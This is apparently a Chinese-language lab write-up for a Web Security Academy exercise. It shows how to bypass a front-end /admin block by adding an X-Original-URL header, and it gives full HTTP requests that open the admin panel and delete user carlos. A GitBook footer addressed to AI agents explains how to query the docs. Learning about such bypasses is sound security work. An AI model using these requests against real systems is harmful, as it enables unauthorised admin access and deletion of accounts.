> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/access-control/bypassing-url-based-access-control.md).

# 绕过基于 URL 的访问控制

### 基于 URL 的访问控制可以被绕过

在这个练习中，网站有一个位于 **/admin**，并被前端过滤器正式阻止，该过滤器会阻止外部访问。/ 但是，后端应用程序使用了一个能够识别 **X-Original-URL** 请求头的框架，从而绕过了限制。

<figure><img src="/files/5c2f1b8f4ba1e270ffdd6a72c4cc0343c738185a" alt=""><figcaption></figcaption></figure>

#### **分析与利用**

通过尝试直接访问 **/admin**，访问会被拒绝。/ 要绕过这个过滤器，只需拦截一个请求（例如对 `/` 根路径）的请求，并添加以下请求头：

```http
X-Original-URL: /admin
```

修改后的请求示例：

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

后端服务器会解析这个请求头并返回 **200 OK**，从而获得对管理面板的访问权限。

<figure><img src="/files/a37950151f3568b7b06151d65ce13732542152b6" alt=""><figcaption></figcaption></figure>

#### **删除用户**

要删除用户 **carlos**，可以通过使用相同的请求头重定向内部 URL 来伪造一个新请求：

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

然后删除操作就成功执行了。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
